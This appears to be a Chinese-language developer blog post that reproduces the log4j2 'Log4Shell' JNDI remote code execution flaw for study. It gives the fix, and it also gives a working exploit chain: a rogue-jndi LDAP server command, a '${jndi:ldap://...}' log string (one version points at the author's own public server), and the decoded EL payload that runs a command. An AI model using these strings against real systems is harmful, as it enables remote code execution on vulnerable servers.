早上來到公司,就聽到安全團隊的同事說log4j2有個高危漏洞
起初并不是很在意,想著一個日志框架能有啥高危漏洞嘛
但是仔細一看,居然是遠程執行命令的漏洞,上次看到這個名字還是struts2,,,
修復方法也很簡單:升級log4j依賴版本到2.15.0
或者啟動引數添加-Dlog4j2.formatMsgNoLookups=true并重啟
好奇心驅使之下,向安全的同事請教了怎么重現這個漏洞,順便記錄一下,以便以后學習之用
參考文章:
https://mp.weixin.qq.com/s/l7iclJRegADs3oiEdcgAvQ
https://mp.weixin.qq.com/s/_qA3ZjbQrZl2vowikdPOIg
如果你只是想驗證自己的log有沒問題,那可以不用往下看了,直接本地運行:
log.info("${jndi:ldap://1.117.178.115:1389/o=tomcat}");
(個人的騰訊云服務器,不保證永久有效)

如果會像這樣彈出計算器程式,那就說明有問題了
1、本地啟動ldap服務
https://github.com/veracode-research/rogue-jndi
下載這個鏈接的原始碼進行編譯
mvn package -DskipTests
啟動命令:
#這里172.19.60.23是我本地的ip
java -jar target/RogueJndi-1.1.jar -c "calc" -n 172.19.60.23
2、撰寫log4j程式并運行
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String... args) {
LOGGER.info("${jndi:ldap://172.19.60.23:1389/o=tomcat}");
}
}
依賴引入:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
注意依賴的引入很關鍵,我本地是用的spring boot,但是因為spring boot默認是用的logback,所以沒法重現,
需要排除掉spring-boot-starter-logging依賴,然后添加spring-boot-starter-log4j2依賴,
這個漏洞在2.15.0已經修復,所以log4j-core的版本要低于2.15.0,
這么一想,這個漏洞好像也沒那么嚴重的
運行以后本地彈出計算器程式,順利重現
3、大致原理分析
${jndi:ldap://172.19.60.23:1389/o=tomcat}
這段日志的列印會觸發ldap服務請求
這個請求會回傳:
{"".getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“JavaScript”).eval(“java.lang.Runtime.getRuntime().exec(String.fromCharCode(99,97,108,99))”)}
代碼在rogue-jndi這個工程的artsploit.controllers.Tomcat中:

java.lang.Runtime.getRuntime().exec(${command})
這段代碼最侄訓被執行,從而觸發遠程命令執行
至于這段代碼為啥會被執行,需要去啃log4j的原始碼,大致看了下還挺復雜
關鍵代碼記錄如下:
MessagePatternConverter類的format方法:

StrSubstitutor的resolveVariable方法

JndiLookup的lookup方法:

JndiManager的luukup方法:

ldapURLContext的lookup方法:

到這里其實就是jdk的代碼了,后面的代碼很難看,大致邏輯就是去請求172.19.60.23:1389/o=tomcat這個介面,拿到上面那段payload,然后通過ClasLoader去加載javax.el.ELProcessor,并通過反射執行下面這段代碼:
{
"".getClass()
.forName("javax.script.ScriptEngineManager")
.newInstance()
.getEngineByName("JavaScript")
.eval("java.lang.Runtime.getRuntime()
.exec(String.fromCharCode(99,97,108,99))")
}
部分代碼截圖:


轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/379405.html
標籤:其他
下一篇:log4j命令注入漏洞復現
